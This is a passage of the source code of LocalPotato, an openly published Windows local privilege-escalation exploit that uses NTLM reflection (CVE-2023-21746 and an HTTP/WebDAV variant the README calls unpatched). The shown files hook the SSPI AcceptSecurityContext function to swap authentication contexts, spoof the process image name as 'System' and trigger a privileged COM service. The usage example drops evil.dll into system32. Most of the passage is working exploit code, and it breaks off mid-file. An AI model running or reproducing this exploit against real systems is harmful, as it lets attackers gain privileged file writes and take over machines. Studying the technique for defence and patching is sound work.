├── DCOMReflection.h ├── LocalPotato.vcxproj.user ├── HTTPClient.h ├── IUnknownObj.h ├── PotatoTrigger.h ├── IUnknownObj.cpp ├── LICENSE ├── LocalPotato.sln ├── README.md ├── LocalPotato.vcxproj.filters ├── IStorageTrigger.h ├── .gitattributes ├── SMBClient.h ├── DCOMReflection.cpp ├── LocalPotato.cpp ├── PotatoTrigger.cpp ├── IStorageTrigger.cpp ├── .gitignore ├── LocalPotato.vcxproj ├── HTTPClient.cpp └── SMBClient.cpp /DCOMReflection.h: -------------------------------------------------------------------------------- 1 | #define SECURITY_WIN32 2 | 3 | #pragma once 4 | #include "Windows.h" 5 | 6 | #define NTLM_RESERVED_OFFSET 32 7 | 8 | void HookSSPIForDCOMReflection(); 9 | -------------------------------------------------------------------------------- /LocalPotato.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /HTTPClient.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Windows.h" 3 | 4 | #define SEC_SUCCESS(Status) ((Status) >= 0) 5 | #define DEFAULT_BUFLEN 16192 6 | #define MessageAttribute ISC_REQ_NO_INTEGRITY 7 | 8 | void HTTPAuthenticatedGET(); -------------------------------------------------------------------------------- /IUnknownObj.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Objidl.h" 3 | 4 | class IUnknownObj : public IUnknown { 5 | private: 6 | int m_cRef; 7 | public: 8 | IUnknownObj(); 9 | HRESULT STDMETHODCALLTYPE QueryInterface(const IID& riid, void** ppvObject); 10 | ULONG STDMETHODCALLTYPE AddRef(); 11 | ULONG STDMETHODCALLTYPE Release(); 12 | }; -------------------------------------------------------------------------------- /PotatoTrigger.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Windows.h" 3 | #include "winternl.h" 4 | 5 | #define DEFAULT_BUFLEN 8192 6 | 7 | void InitComServer(); 8 | HRESULT UnmarshallIStorage(PWCHAR clsidStr); 9 | void PotatoTrigger(PWCHAR clsidStr, PWCHAR comPort, HANDLE hEventWait); 10 | void base64Decode(PWCHAR b64Text, int b64TextLen, char* buffer, DWORD* bufferLen); 11 | 12 | typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength); -------------------------------------------------------------------------------- /IUnknownObj.cpp: -------------------------------------------------------------------------------- 1 | #include "IUnknownObj.h" 2 | 3 | IUnknownObj::IUnknownObj() { 4 | m_cRef = 1; 5 | return; 6 | } 7 | 8 | ///////////////////////IUknown Interface 9 | HRESULT IUnknownObj::QueryInterface(const IID& riid, void** ppvObj) { 10 | // Always set out parameter to NULL, validating it first. 11 | if (!ppvObj) { 12 | //printf("QueryInterface INVALID\n"); 13 | return E_INVALIDARG; 14 | } 15 | if (riid == IID_IUnknown) 16 | { 17 | *ppvObj = static_cast(this); 18 | reinterpret_cast(*ppvObj)->AddRef(); 19 | } 20 | else 21 | { 22 | *ppvObj = NULL; 23 | //printf("QueryInterface NOINT\n"); 24 | return E_NOINTERFACE; 25 | } 26 | // Increment the reference count and return the pointer. 27 | return S_OK; 28 | } 29 | 30 | ULONG IUnknownObj::AddRef() { 31 | m_cRef++; 32 | return m_cRef; 33 | } 34 | 35 | ULONG IUnknownObj::Release() { 36 | // Decrement the object's internal counter. 37 | ULONG ulRefCount = m_cRef--; 38 | return ulRefCount; 39 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 decoder-it 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /LocalPotato.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31229.75 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LocalPotato", "LocalPotato.vcxproj", "{1B3C96A3-F698-472B-B786-6FED7A205159}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {1B3C96A3-F698-472B-B786-6FED7A205159}.Debug|x64.ActiveCfg = Debug|x64 17 | {1B3C96A3-F698-472B-B786-6FED7A205159}.Debug|x64.Build.0 = Debug|x64 18 | {1B3C96A3-F698-472B-B786-6FED7A205159}.Debug|x86.ActiveCfg = Debug|Win32 19 | {1B3C96A3-F698-472B-B786-6FED7A205159}.Debug|x86.Build.0 = Debug|Win32 20 | {1B3C96A3-F698-472B-B786-6FED7A205159}.Release|x64.ActiveCfg = Release|x64 21 | {1B3C96A3-F698-472B-B786-6FED7A205159}.Release|x64.Build.0 = Release|x64 22 | {1B3C96A3-F698-472B-B786-6FED7A205159}.Release|x86.ActiveCfg = Release|Win32 23 | {1B3C96A3-F698-472B-B786-6FED7A205159}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {89E9D29C-1A95-4B7F-AF1C-2071D4AF38D2} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # LocalPotato 2 | Another Local Windows privilege escalation using a new potato technique ;) 3 | 4 | The LocalPotato attack is a type of NTLM reflection attack that targets local authentication. This attack allows for arbitrary file read/write and elevation of privilege. 5 | 6 | **NOTE: The SMB scenario has been fixed by Microsoft in the January 2023 Patch Tuesday with the [CVE-2023-21746](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2023-21746). If you run this exploit against a patched machine it won't work.** 7 | 8 | More technical details at --> https://www.localpotato.com/localpotato_html/LocalPotato.html 9 | 10 | **NOTE2: The HTTP/WebDAV scenario is currently unpatched (Microsoft decision, we reported it) and works on updated systems.** 11 | 12 | More technical details at --> https://decoder.cloud/2023/11/03/localpotato-http-edition/ 13 | 14 | 15 | 16 | ## Usage 17 | 18 | ``` 19 | 20 | LocalPotato (aka CVE-2023-21746 & HTTP/WebDAV) 21 | by splinter_code & decoder_it 22 | 23 | 24 | Mandatory Args: 25 | SMB: 26 | -i Source file to copy for SMB 27 | -o Output file for SMB - do not specify the drive letter 28 | HTTP: 29 | -r host/ip for HTTP 30 | -u target URL for HTTP 31 | 32 | Optional Args: 33 | -c CLSID (Default {854A20FB-2D44-457D-992F-EF13785D2B51}) 34 | -p COM server port (Default 10271) 35 | 36 | Examples: 37 | - SMB: 38 | LocalPotato.exe -i c:\hacker\evil.dll -o windows\system32\evil.dll 39 | - HTTP/WebDAV: 40 | LocalPotato.exe -r 127.0.0.1 -u /webdavshare/potato.local 41 | ``` 42 | 43 | ## Demo 44 | 45 | - SMB: 46 | ![image](https://user-images.githubusercontent.com/19797064/218135881-af046286-c299-4f08-856b-2265adc46e64.png) 47 | 48 | - HTTP/WebDAV 49 | ![image](https://github.com/decoder-it/LocalPotato/assets/19797064/100db270-e1e2-44db-ae54-91c3a7cb9b15) 50 | 51 | 52 | ## Authors: 53 | - [@decoder_it](https://twitter.com/decoder_it) 54 | - [@splinter_code](https://twitter.com/splinter_code) 55 | -------------------------------------------------------------------------------- /LocalPotato.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | Source Files 38 | 39 | 40 | 41 | 42 | Header Files 43 | 44 | 45 | Header Files 46 | 47 | 48 | Header Files 49 | 50 | 51 | Header Files 52 | 53 | 54 | Header Files 55 | 56 | 57 | Header Files 58 | 59 | 60 | -------------------------------------------------------------------------------- /IStorageTrigger.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Objidl.h" 3 | 4 | class IStorageTrigger : public IMarshal, public IStorage { 5 | private: 6 | IStorage* _stg; 7 | int m_cRef; 8 | public: 9 | IStorageTrigger(IStorage* stg); 10 | HRESULT STDMETHODCALLTYPE DisconnectObject(DWORD dwReserved); 11 | HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags, DWORD* pSize); 12 | HRESULT STDMETHODCALLTYPE GetUnmarshalClass(const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags, CLSID* pCid); 13 | HRESULT STDMETHODCALLTYPE MarshalInterface(IStream* pStm, const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags); 14 | HRESULT STDMETHODCALLTYPE ReleaseMarshalData(IStream* pStm); 15 | HRESULT STDMETHODCALLTYPE UnmarshalInterface(IStream* pStm, const IID& riid, void** ppv); 16 | HRESULT STDMETHODCALLTYPE Commit(DWORD grfCommitFlags); 17 | HRESULT STDMETHODCALLTYPE CopyTo(DWORD ciidExclude, const IID* rgiidExclude, SNB snbExclude, IStorage* pstgDest); 18 | HRESULT STDMETHODCALLTYPE CreateStorage(const OLECHAR* pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage** ppstg); 19 | HRESULT STDMETHODCALLTYPE CreateStream(const OLECHAR* pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream** ppstm); 20 | HRESULT STDMETHODCALLTYPE DestroyElement(const OLECHAR* pwcsName); 21 | HRESULT STDMETHODCALLTYPE EnumElements(DWORD reserved1, void* reserved2, DWORD reserved3, IEnumSTATSTG** ppenum); 22 | HRESULT STDMETHODCALLTYPE MoveElementTo(const OLECHAR* pwcsName, IStorage* pstgDest, const OLECHAR* pwcsNewName, DWORD grfFlags); 23 | HRESULT STDMETHODCALLTYPE OpenStorage(const OLECHAR* pwcsName, IStorage* pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage** ppstg); 24 | HRESULT STDMETHODCALLTYPE OpenStream(const OLECHAR* pwcsName, void* reserved1, DWORD grfMode, DWORD reserved2, IStream** ppstm); 25 | HRESULT STDMETHODCALLTYPE RenameElement(const OLECHAR* pwcsOldName, const OLECHAR* pwcsNewName); 26 | HRESULT STDMETHODCALLTYPE Revert(); 27 | HRESULT STDMETHODCALLTYPE SetClass(const IID& clsid); 28 | HRESULT STDMETHODCALLTYPE SetElementTimes(const OLECHAR* pwcsName, const FILETIME* pctime, const FILETIME* patime, const FILETIME* pmtime); 29 | HRESULT STDMETHODCALLTYPE SetStateBits(DWORD grfStateBits, DWORD grfMask); 30 | HRESULT STDMETHODCALLTYPE Stat(STATSTG* pstatstg, DWORD grfStatFlag); 31 | 32 | HRESULT STDMETHODCALLTYPE QueryInterface(const IID& riid, void** ppvObject); 33 | ULONG STDMETHODCALLTYPE AddRef(); 34 | ULONG STDMETHODCALLTYPE Release(); 35 | }; -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /SMBClient.h: -------------------------------------------------------------------------------- 1 | #define SECURITY_WIN32 2 | 3 | #pragma once 4 | #include "Windows.h" 5 | 6 | #define SEC_SUCCESS(Status) ((Status) >= 0) 7 | #define DEFAULT_BUFLEN 8192 8 | #define MessageAttribute ISC_REQ_INTEGRITY 9 | #define TargetNameSpn L"cifs/127.0.0.1" 10 | 11 | typedef union usmb2_header { 12 | struct 13 | { 14 | BYTE ProtocolID[4]; 15 | BYTE StructureSize[2]; 16 | BYTE CreditCharge[2]; 17 | BYTE ChannelSequence[2]; 18 | BYTE Reserved[2]; 19 | BYTE Command[2]; 20 | BYTE CreditRequest[2]; 21 | BYTE Flags[4]; 22 | BYTE NextCommand[4]; 23 | long long MessageID; 24 | BYTE ProcessID[4]; 25 | BYTE TreeID[4]; 26 | BYTE SessionID[8]; 27 | BYTE Signature[16]; 28 | } smb2_header; 29 | BYTE buffer[64]; 30 | }; 31 | 32 | typedef union usmb2_data { 33 | struct { 34 | BYTE StructureSize[2]; 35 | BYTE Flags[1]; 36 | BYTE SecurityMode[1]; 37 | BYTE Capabilities[4]; 38 | BYTE Channel[4]; 39 | BYTE SecurityBufferOffset[2]; 40 | BYTE SecurityBufferLength[2]; 41 | BYTE PreviousSessionID[8]; 42 | } smb2_data; 43 | BYTE buffer[24]; 44 | }; 45 | 46 | union myint { 47 | unsigned int i; 48 | char buffer[4]; 49 | }; 50 | 51 | union myshort { 52 | unsigned short int i; 53 | char buffer[2]; 54 | }; 55 | 56 | typedef struct { 57 | short structured_size;; 58 | short flags; 59 | short path_offset; 60 | short path_len; 61 | } tree_connect_request_header; 62 | 63 | typedef union { 64 | tree_connect_request_header trh; 65 | char buffer[sizeof(trh)]; 66 | } u_tree_connect_request_header; 67 | 68 | typedef struct { 69 | short StructuredSize; 70 | byte SecurityFlags; 71 | byte RequestedOplockLevel; 72 | int ImpersonationLevel; 73 | char SmbCreateFlags[8]; 74 | char Reserved[8]; 75 | char DesiredAccess[4]; 76 | char FileAttribute[4]; 77 | char ShareAccess[4]; 78 | char CreateDisposition[4]; 79 | char CreateOptions[4]; 80 | short NameOffset; 81 | short NameLength; 82 | int CreateContextsOffset; 83 | int CreateContextsLength; 84 | } create_request; 85 | 86 | typedef union 87 | { 88 | create_request cr; 89 | char buffer[sizeof(cr)]; 90 | } u_create_request; 91 | 92 | typedef struct { 93 | short StructureSize; 94 | short DataOffset; 95 | int WriteLen; 96 | long long FileOffset; 97 | char fileid[16]; 98 | int RemainingBytes; 99 | char filler[8]; 100 | } write_request; 101 | 102 | typedef union { 103 | write_request wr; 104 | char buffer[sizeof(wr)]; 105 | } u_write_request; 106 | 107 | void SMBAuthenticatedFileWrite(); 108 | 109 | -------------------------------------------------------------------------------- /DCOMReflection.cpp: -------------------------------------------------------------------------------- 1 | #define SECURITY_WIN32 2 | #pragma comment(lib, "Secur32.lib") 3 | 4 | #include "Windows.h" 5 | #include "stdio.h" 6 | #include "sspi.h" 7 | #include "DCOMReflection.h" 8 | 9 | // global vars used also by SMBClient 10 | HANDLE event1; 11 | HANDLE event2; 12 | HANDLE event3; 13 | char SystemContext[8]; 14 | char UserContext[8]; 15 | BOOL ntlmType3Received; 16 | 17 | SECURITY_STATUS AcceptSecurityContextHook(PCredHandle phCredential, PCtxtHandle phContext, PSecBufferDesc pInput, ULONG fContextReq, ULONG TargetDataRep, PCtxtHandle phNewContext, PSecBufferDesc pOutput, PULONG pfContextAttr, PTimeStamp ptsTimeStamp) { 18 | SECURITY_STATUS status; 19 | unsigned char* bufferPtr; 20 | if (ntlmType3Received) // we usually land here when the client want to alter the rpc context to perform the call with the integrity level. We want to avoid that. 21 | return SEC_E_INTERNAL_ERROR; 22 | if (pInput != NULL && pInput->cBuffers > 0) { 23 | for (unsigned long i = 0; i < pInput->cBuffers; i++) { 24 | bufferPtr = (unsigned char*)pInput->pBuffers[i].pvBuffer; 25 | if (bufferPtr[0] == 'N' && bufferPtr[1] == 'T' && bufferPtr[2] == 'L' && bufferPtr[3] == 'M') { 26 | if (bufferPtr[8] == 1) { // if the buffer is for ntlm type 1 27 | printf("[*] Received DCOM NTLM type 1 authentication from the privileged client\n"); 28 | } 29 | if (bufferPtr[8] == 3) { // if the buffer is for ntlm type 3 30 | printf("[*] Received DCOM NTLM type 3 authentication from the privileged client\n"); 31 | ntlmType3Received = TRUE; 32 | } 33 | } 34 | } 35 | } 36 | status = AcceptSecurityContext(phCredential, phContext, pInput, fContextReq, TargetDataRep, phNewContext, pOutput, pfContextAttr, ptsTimeStamp); 37 | if (ntlmType3Received) 38 | SetEvent(event3); 39 | else { 40 | // here we swap the 2 contexts for performing the DCOM to SMB reflection 41 | if (pOutput != NULL && pOutput->cBuffers > 0) { 42 | for (unsigned long i = 0; i < pOutput->cBuffers; i++) { 43 | bufferPtr = (unsigned char*)pOutput->pBuffers[i].pvBuffer; 44 | if (bufferPtr[0] == 'N' && bufferPtr[1] == 'T' && bufferPtr[2] == 'L' && bufferPtr[3] == 'M') { 45 | if (bufferPtr[8] == 2) { // if the buffer is for ntlm type 2 46 | memcpy(SystemContext, bufferPtr + NTLM_RESERVED_OFFSET, 8); 47 | SetEvent(event1); 48 | WaitForSingleObject(event2, INFINITE); 49 | // for local auth reflection we don't really need to relay the entire packet 50 | // swapping the context in the Reserved bytes is enough 51 | memcpy(bufferPtr + NTLM_RESERVED_OFFSET, UserContext, 8); 52 | printf("[+] RPC Server Auth Context swapped with the Current User\n"); 53 | } 54 | } 55 | } 56 | } 57 | } 58 | return status; 59 | } 60 | 61 | void HookSSPIForDCOMReflection() { 62 | event1 = CreateEvent(NULL, TRUE, FALSE, NULL); 63 | event2 = CreateEvent(NULL, TRUE, FALSE, NULL); 64 | event3 = CreateEvent(NULL, TRUE, FALSE, NULL); 65 | ntlmType3Received = FALSE; 66 | PSecurityFunctionTableW table = InitSecurityInterfaceW(); 67 | table->AcceptSecurityContext = AcceptSecurityContextHook; 68 | } -------------------------------------------------------------------------------- /LocalPotato.cpp: -------------------------------------------------------------------------------- 1 | #include "Windows.h" 2 | #include "stdio.h" 3 | #include "DCOMReflection.h" 4 | #include "PotatoTrigger.h" 5 | #include "SMBClient.h" 6 | #include "HTTPClient.h" 7 | 8 | void usage(); 9 | wchar_t* destfname = NULL; 10 | wchar_t* inputfname = NULL; 11 | wchar_t* httpHost = NULL; 12 | wchar_t* httpPageUrl = NULL; 13 | 14 | int wmain(int argc, wchar_t** argv) 15 | { 16 | printf("\n\n\t LocalPotato (aka CVE-2023-21746 & HTTP/WebDAV) \n"); 17 | printf("\t by splinter_code & decoder_it\n\n"); 18 | WCHAR defaultClsidStr[] = L"{854A20FB-2D44-457D-992F-EF13785D2B51}"; // Print Notify Service CLSID 19 | WCHAR defaultComPort[] = L"10247"; 20 | PWCHAR clsidStr = defaultClsidStr; 21 | PWCHAR comPort = defaultComPort; 22 | HANDLE hTread; 23 | int cnt = 1; 24 | 25 | while ((argc > 1) && (argv[cnt][0] == '-')) 26 | { 27 | switch (argv[cnt][1]) 28 | { 29 | case 'c': 30 | ++cnt; 31 | --argc; 32 | clsidStr = argv[cnt]; 33 | break; 34 | case 'p': 35 | ++cnt; 36 | --argc; 37 | comPort = argv[cnt]; 38 | break; 39 | case 'h': 40 | usage(); 41 | exit(0); 42 | case 'o': 43 | ++cnt; 44 | --argc; 45 | if (*argv[cnt] == '\\') 46 | ++argv[cnt]; 47 | destfname = argv[cnt]; 48 | break; 49 | case 'i': 50 | ++cnt; 51 | --argc; 52 | inputfname = argv[cnt]; 53 | break; 54 | case 'u': 55 | ++cnt; 56 | --argc; 57 | httpPageUrl = argv[cnt]; 58 | break; 59 | case 'r': 60 | ++cnt; 61 | --argc; 62 | httpHost = argv[cnt]; 63 | break; 64 | default: 65 | printf("Wrong Argument: %S\n", argv[cnt]); 66 | usage(); 67 | exit(-1); 68 | } 69 | ++cnt; 70 | --argc; 71 | } 72 | 73 | if (destfname == NULL && httpHost == NULL) { 74 | usage(); 75 | return 1; 76 | } 77 | 78 | if (destfname != NULL && inputfname == NULL) 79 | { 80 | usage(); 81 | return 1; 82 | } 83 | 84 | if (httpHost != NULL && httpPageUrl == NULL) 85 | { 86 | usage(); 87 | return 1; 88 | } 89 | 90 | if(destfname != NULL) 91 | hTread = CreateThread(0, 0, reinterpret_cast(SMBAuthenticatedFileWrite), NULL, 0, NULL); 92 | else 93 | hTread = CreateThread(0, 0, reinterpret_cast(HTTPAuthenticatedGET), NULL, 0, NULL); 94 | HookSSPIForDCOMReflection(); 95 | PotatoTrigger(clsidStr, comPort, hTread); 96 | if (WaitForSingleObject(hTread, 3000) == WAIT_TIMEOUT) { 97 | printf("[-] The privileged process failed to communicate with our COM Server :("); 98 | } 99 | return 0; 100 | } 101 | 102 | void usage() 103 | { 104 | printf("\n"); 105 | printf("Mandatory Args: \n" 106 | "SMB:\n\t-i Source file to copy for SMB\n" 107 | "\t-o Output file for SMB - do not specify the drive letter\n" 108 | "HTTP:\n\t-r host/ip for HTTP\n" 109 | "\t-u target URL for HTTP\n" 110 | ); 111 | printf("\nOptional Args: \n" 112 | "-c CLSID (Default {854A20FB-2D44-457D-992F-EF13785D2B51})\n" 113 | "-p COM server port (Default 10271)\n" 114 | ); 115 | printf("\nExamples: \n" 116 | "- SMB:\n\t LocalPotato.exe -i c:\\hacker\\evil.dll -o windows\\system32\\evil.dll\n" 117 | "- HTTP/WebDAV:\n\t LocalPotato.exe -r 127.0.0.1 -u /webdavshare/potato.local\n\n" 118 | ); 119 | } -------------------------------------------------------------------------------- /PotatoTrigger.cpp: -------------------------------------------------------------------------------- 1 | #include "PotatoTrigger.h" 2 | #include "stdio.h" 3 | #include "wincrypt.h" 4 | #include "objbase.h" 5 | #include "IUnknownObj.h" 6 | #include "IStorageTrigger.h" 7 | 8 | #pragma comment (lib, "Crypt32.lib") 9 | #pragma comment (lib, "Rpcrt4.lib") 10 | 11 | char gOxid[8]; 12 | char gOid[8]; 13 | char gIpid[16]; 14 | 15 | void InitComServer() { 16 | PROCESS_BASIC_INFORMATION pebInfo; 17 | SOLE_AUTHENTICATION_SERVICE authInfo; 18 | ULONG ReturnLength = 0; 19 | wchar_t oldImagePathName[MAX_PATH]; 20 | wchar_t newImagePathName[] = L"System"; 21 | WCHAR spnInfo[] = L"cifs/127.0.0.1"; 22 | pNtQueryInformationProcess NtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQueryInformationProcess"); 23 | NtQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, &pebInfo, sizeof(pebInfo), &ReturnLength); 24 | // save the old image path name and patch with the new one 25 | memset(oldImagePathName, 0, sizeof(wchar_t) * MAX_PATH); 26 | memcpy(oldImagePathName, pebInfo.PebBaseAddress->ProcessParameters->ImagePathName.Buffer, pebInfo.PebBaseAddress->ProcessParameters->ImagePathName.Length); 27 | memcpy(pebInfo.PebBaseAddress->ProcessParameters->ImagePathName.Buffer, newImagePathName, sizeof(newImagePathName)); 28 | // init COM runtime 29 | CoInitialize(NULL); 30 | authInfo.dwAuthnSvc = RPC_C_AUTHN_WINNT; 31 | authInfo.pPrincipalName = spnInfo; // this is important for relaying to SMB locally 32 | CoInitializeSecurity(NULL, 1, &authInfo, NULL, RPC_C_AUTHN_LEVEL_CONNECT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_DYNAMIC_CLOAKING, NULL); 33 | // Restore PEB ImagePathName 34 | memcpy(pebInfo.PebBaseAddress->ProcessParameters->ImagePathName.Buffer, oldImagePathName, pebInfo.PebBaseAddress->ProcessParameters->ImagePathName.Length); 35 | } 36 | void PotatoTrigger(PWCHAR clsidStr, PWCHAR comPort, HANDLE hEventWait) { 37 | IMoniker* monikerObj; 38 | IBindCtx* bindCtx; 39 | IUnknown* IUnknownObj1Ptr; 40 | RPC_STATUS rpcStatus; 41 | HRESULT result; 42 | PWCHAR objrefBuffer = (PWCHAR)CoTaskMemAlloc(DEFAULT_BUFLEN); 43 | char* objrefDecoded = (char*)CoTaskMemAlloc(DEFAULT_BUFLEN); 44 | DWORD objrefDecodedLen = DEFAULT_BUFLEN; 45 | // Init COM server 46 | InitComServer(); 47 | // we create a random IUnknown object as a placeholder to pass to the moniker 48 | IUnknownObj IUnknownObj1 = IUnknownObj(); 49 | IUnknownObj1.QueryInterface(IID_IUnknown, (void**)&IUnknownObj1Ptr); 50 | result = CreateObjrefMoniker(IUnknownObj1Ptr, &monikerObj); 51 | if (result != S_OK) { 52 | printf("[!] CreateObjrefMoniker failed with HRESULT %d\n", result); 53 | exit(-1); 54 | } 55 | CreateBindCtx(0, &bindCtx); 56 | monikerObj->GetDisplayName(bindCtx, NULL, (LPOLESTR*)&objrefBuffer); 57 | printf("[*] Objref Moniker Display Name = %S\n", objrefBuffer); 58 | // the moniker is in the format objref:[base64encodedobject]: so we skip the first 7 chars and the last colon char 59 | base64Decode(objrefBuffer + 7, (int)(wcslen(objrefBuffer) - 7 - 1), objrefDecoded, &objrefDecodedLen); 60 | // we copy the needed data to communicate with our local com server (this process) 61 | memcpy(gOxid, objrefDecoded + 32, 8); 62 | memcpy(gOid, objrefDecoded + 40, 8); 63 | memcpy(gIpid, objrefDecoded + 48, 16); 64 | // we register the port of our local com server 65 | rpcStatus = RpcServerUseProtseqEp((RPC_WSTR)L"ncacn_ip_tcp", RPC_C_PROTSEQ_MAX_REQS_DEFAULT, (RPC_WSTR)comPort, NULL); 66 | if (rpcStatus != S_OK) { 67 | printf("[!] RpcServerUseProtseqEp failed with rpc status code %d\n", rpcStatus); 68 | exit(-1); 69 | } 70 | // we register the auth info for NTLM on the COM server 71 | RpcServerRegisterAuthInfo(NULL, RPC_C_AUTHN_WINNT, NULL, NULL); 72 | result = UnmarshallIStorage(clsidStr); 73 | if (result == CO_E_BAD_PATH) { 74 | printf("[!] CLSID %S not found. Error Bad path to object. Exiting...\n", clsidStr); 75 | exit(-1); 76 | } 77 | if (hEventWait) WaitForSingleObject(hEventWait, 10000); 78 | IUnknownObj1Ptr->Release(); 79 | IUnknownObj1.Release(); 80 | bindCtx->Release(); 81 | monikerObj->Release(); 82 | CoTaskMemFree(objrefBuffer); 83 | CoTaskMemFree(objrefDecoded); 84 | CoUninitialize(); 85 | } 86 | 87 | HRESULT UnmarshallIStorage(PWCHAR clsidStr) { 88 | IStorage* stg = NULL; 89 | ILockBytes* lb = NULL; 90 | MULTI_QI qis[1]; 91 | CLSID targetClsid; 92 | HRESULT result; 93 | //Create IStorage object 94 | CreateILockBytesOnHGlobal(NULL, TRUE, &lb); 95 | StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg); 96 | //Initialze IStorageTrigger object 97 | IStorageTrigger* IStorageTriggerObj = new IStorageTrigger(stg); 98 | CLSIDFromString(clsidStr, &targetClsid); 99 | qis[0].pIID = 